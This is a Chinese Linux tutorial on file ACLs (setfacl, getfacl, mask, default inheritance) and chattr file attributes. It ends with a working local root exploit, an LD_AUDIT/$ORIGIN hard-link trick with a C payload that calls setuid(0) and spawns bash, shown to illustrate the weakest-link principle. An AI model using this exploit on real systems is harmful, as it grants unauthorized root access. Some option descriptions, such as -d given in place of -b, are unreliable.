文件高级权限
文件权限管理之四: ACL: UGO权限的扩展
UGO传统权限:只能一个用户,一个组和其他人
ACL设置基本权限:r,w,x
=ACL基本用法=
设置:
文件权限高级管理就玩的是acl访问控制列表
acl访问控制列表所存在的意义其实就是因为基本权限的不足
ACL:访问控制列表
ACE:访问控制项
以上它俩统称位ACL
setfacl:设置访问控制列表权限
getfacl:查看某个文件有没有扩展的权限
setfacl:删除组的权限
# setfacl -m u:alice:rw /home/test.txt //增加用户alice权限
u:alice:rw指的是UGO
u:指的是添加用户;如果换成g代表一个组;如果换成o代表不在列表中的用户拥有什么权限;意思就是还有其他人
alice:指的是用户名或者组名
rw:指的是权限
例如:
[root@server ~]# mkdir tomtest
[root@server ~]# cd tomtest/
[root@server tomtest]# touch abc.txt
[root@server tomtest]# ll
total 0
-rw-r--r-- 1 root root 0 Mar 3 15:20 abc.txt
当我们用ll查看一个文件的基本权限,如果以后看到文件的属性的时候权限是rw-r--r--;就代表它就没有扩展权限,没有多出来的访问控制列表权限
如果我们给一个文件设置扩展权限,那它属性会多一个加号,即rw-r--r--+;如果有加号,就代表后面还有更加细化的权限,就是访问控制列表的
[root@server tomtest]# setfacl -m u:tom:rwx abc.txt
[root@server tomtest]# ll
total 0
-rw-rwxr--+ 1 root root 0 Mar 3 15:20 abc.txt #就多了一个加号
那么扩展权限是什么?可以通过getfacl来查看
[root@server tomtest]# getfacl abc.txt
# file: abc.txt
# owner: root #这是注释,指的是该文件的所有者是root
# group: root
user::rw- #没有写任何用户的user就代表文件的所有者
user:tom:rwx
group::r--
mask::rwx
other::r--
[root@server tomtest]# useradd lucy
[root@server tomtest]# chown lucy abc.txt
[root@server tomtest]# getfacl abc.txt
# file: abc.txt
# owner: lucy 就改成了lucy
# group: root
user::rw- #这是所有者权限,其实这个权限写不写都可以,因为它有控制权限
user:tom:rwx #tom可以读写执行
group::r--
mask::rwx
other::r--
[root@master ~]# setfacl -x g:hr /home/test.txt //删除组hr的权限
[root@master ~]# setfacl -b /home/test.txt //删除所有acl权限
-x和-b的区别:
acl里面有很多用户,想删一个就用-x;只是剔除某一个列表的成员
-d是把所有的的权限给去掉;不但把所有列表的成员都移除了,还清除acl属性
[root@server tomtest]# getfacl abc.txt
+ getfacl abc.txt
# file: abc.txt
# owner: lucy
# group: root
user::rw-
user:tom:rwx
group::r--
mask::rwx
other::r--
[root@server tomtest]# setfacl -x u:tom abc.txt #删掉tom
[root@server tomtest]# getfacl abc.txt
+ getfacl abc.txt
# file: abc.txt
# owner: lucy
# group: root
user::rw-
group::r--
mask::r--
other::r--
setfacl-设置文件访问控制列表
-m #设置文件acl规则
-M #从文件读取访问控制列表条目更改
-x #删除文件的acl规则
-X #从文件读取访问控制列表条目并删除
-b # 删除所有扩展的acl规则,基本的acl规则(所有者,群组,其他)将被保留.
-k #删除缺省的acl规则。如果没有缺省规则,将不提示
--set=acl set the ACL of file(s),replacing the current ACL.-设置= ACL设置文件的ACL(S),取代目前的ACL。
--set-file=file readACL entries toset from file #从文件中读设置ACL规则.
--mask dorecalculate the effective rights mask #重新计算有效权限,即使ACL mask被明确指定.
-n #不要重新计算有效权限。setfacl默认会重新计算ACL mask,除非mask被明确的制定
-d #设定默认的acl规则,针对目录而言
-R #递归的对所有文件及目录进行操作
-L #跟踪符号链接,默认情况下只跟踪符号链接文件,跳过符号链接目录。
-P #跳过所有符号链接,包括符号链接文件
--restore=file restore ACLs(inverse of`getfacl-R') #从文件恢复备份的acl规则(这些文件可由getfacl -R产生)。通过这种机制可以恢复整个目录树的acl规则。此参数不能和除--test以外的任何参数一同执行.
--test testmode(ACLs are notmodified) #测试模式,不会改变任何文件的acl规则,操作后的acl规格将被列出.
-v #版本.
-h #不用说肯定是帮助了.
getfacl
相关命令:setfacl,chaclgetfacl 2.2.51 -- 获取文件访问控制列表
使用方法: getfacl [-aceEsRLPtpndvh] 文件 ...
-a, --access仅显示文件访问控制列表
-d, --default 仅显示默认的访问控制列表
-c, --omit-header 不显示注释表头
-e, --all-effective 显示所有的有效权限
-E, --no-effective 显示无效权限
-s, --skip-base 跳过只有基条目(base entries)的文件
-R, --recursive 递归显示子目录
-L, --logical 逻辑遍历(跟随符号链接)
-P, --physical 物理遍历(不跟随符号链接)
-t, --tabular 使用制表符分隔的输出格式
-n, --numeric显示数字的用户/组标识
-p, --absolute-names 不去除路径前的 '/' 符号
-v, --version显示版本并退出
-h, --help 显示本帮助信息
帮助:
man setfacl
/EXAMPLES
=ACL高级用法=
mask:是acl中所有用户最大权限的上限
用于临时降低用户或组(除属主和其他人)的权限(这样比较抽像);可以自动增大,但是只能手动减小
作用是用来统一的来控制acl的上线;默认情况下是以一种水涨船高的形式来设置
水涨船高就是设置了ACL,整个ACL列表里面的成员谁的权限最大mask就是谁;用来代表整个ACL权限上限
建议:为了方便管理文件权限,其他人的权限置为空
我们可以通过调整mask权限的上限来临时降低某一个用户的权限
[root@server tomtest]# touch abc.txt
[root@server tomtest]# ll
total 0
-rw-r--r-- 1 root root 0 Mar 3 16:26 abc.txt
[root@server tomtest]# setfacl -m u:tom:rwx abc.txt #这是设置
[root@server tomtest]# ll
total 0
-rw-rwxr--+ 1 root root 0 Mar 3 16:26 abc.txt
一旦你的用户拥有了ACL权限,那你的所有主在显示的就不是所有主权限了,显示的是mask权限
[root@server tomtest]# setfacl -b abc.txt #这是清掉
[root@server tomtest]# ll
total 0
-rw-r--r-- 1 root root 0 Mar 3 16:26 abc.txt
当我们晚上在做备份的时候,如果用户继续上传文件,可能会导致备份数据不完整;为了解决这个问题, 我们就直接降低mask权限,将它降至最低,用户就只能读取文件,等我们备份完毕之后,在调整mask权限就可以
mask设置权限方法很简单,就是用-m;例如:
[root@server tomtest]# setfacl -m m::r-- abc.txt 用mask权限设置成只读
[root@server tomtest]# ll
total 0
-rw-r--r--+ 1 root root 0 Mar 3 16:26 abc.txt 现在就变成只读了
[root@server tomtest]# setfacl -m m::rwx abc.txt 用mask权限设置成读写执行,就是在将权限调回来
[root@server tomtest]# ll
total 0
-rw-rwxr--+ 1 root root 0 Mar 3 16:26 abc.txt 现在就变成读写执行了
default: 继承(默认)(就是向下继承ACL列表)
要求: 希望alice能够对/home以及以后在/home下新建的文件有读、写、执行权限
思路:
步骤一: 赋予alice对/home读、写、执行权限
[root@yangs ~]# setfacl -m u:alice:rwx /home
步骤二: 赋予alice对以后在/home下新建的文件有读、写、执行权限 (使alice的权限继承)
[root@yangs ~]# setfacl -m d:u:alice:rwx /home #凡是用d指定的,都会向下继承
[root@server ~]# cd /home/
[root@server home]# ls
albert lucy tom tomtest
[root@server home]# cd tomtest/
[root@server tomtest]# setfacl -m d:u:albert:rw .
[root@server tomtest]# touch aabbcc.txt
[root@server tomtest]# ll
total 0
-rw-rw-r--+ 1 root root 0 Mar 3 17:16 aabbcc.txt
[root@server tomtest]# getfacl aabbcc.txt
# file: aabbcc.txt
# owner: root
# group: root
user::rw-
user:albert:rw-
group::r-x #effective:r--
mask::rw-
other::r--
文件权限管理之五: 文件属性(权限)
注:设置文件属性(权限),针对所有用户,包括root 权限和属性不一样;
权限是可以设置读写执行的,而属性是与生俱来的,不可以设置
[root@server tomtest]# touch haha.txt
[root@server tomtest]# lsattr haha.txt #lsattr是查看文件属性
-------------e- haha.txt #e前面有多少杠,就代表文件有多少种属性,一个杠就代表一种属性
[root@server tomtest]# chattr +a haha.txt #说明文件属性增加了追加的模式;-a代表的是减;只可以追加,不可以修改文件内容(用于日志文件)
[root@server tomtest]# chattr +i haha.txt #说明文档不能被改变内容,删除,改变名称(包括root也不可以);甚至建立硬链接(用于脚本文件)
#也就是文件变成只读得了
[root@server tomtest]# chattr +A haha.txt #-A的作用是不修改文件的最后访问时间 (用于网站首页文件)
接下来讲提权
权限可以设置的很严格,但是一旦系统出现了bug,有人通过普通用户提全成了root,那之前设置的东西都就前功尽弃了;因为安全里面一直强调了一点,就是木桶理论
例如:
[root@server tomtest]# su tom
[tom@server tomtest]$ ls -ld /tmp/
drwxrwxrwt. 13 root root 4096 Mar 3 17:59 /tmp/ #这个文件一般都会有的
[tom@server tomtest]$ cd /tmp/
[tom@server tmp]$ mkdir exploit #这个目录是开放的。任何人都可以在里面创建文件
$ ln /bin/ping /tmp/exploit/target#创建链接,用ping命令来测试的
$ exec 3< /tmp/exploit/target #用exec将创建链接的代码执行一下
$ ls -l /proc/$$/fd/3 #查看一下刚才执行过程里面释放的动态数据
lr-x------ 1 tom tom 64 Mar 3 18:04 /proc/56489/fd/3 -> /tmp/exploit/target
$ rm -fr /tmp/exploit/
$ ls -l /proc/$$/fd/3
lr-x------ 1 tom tom 64 Mar 3 18:04 /proc/56489/fd/3 -> /tmp/exploit/target (deleted)
$ cat > payload.c <<EOF #来写一段C代码
> void __attribute__((constructor)) init()
> {
> setuid(0);
> system("/bin/bash");
> }
> EOF
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c 用C编译器来编译一下这段代码
$ ls -l /tmp/exploit
-rwxrwxr-x 1 tom tom 6020 Mar 3 18:10 /tmp/exploit
[tom@server tmp]$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
ERROR: ld.so: object '$ORIGIN' cannot be loaded as audit interface: cannot open shared object file; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
[root@server tomtest]# 自动变成root用户了
# id (当前用户已经变成零了)
uid=0(root) gid=0(root) groups=0(root)
由此证明一个编译器加一个/tmp/的漏洞,将之前设置细腻的文件给直接崩塌了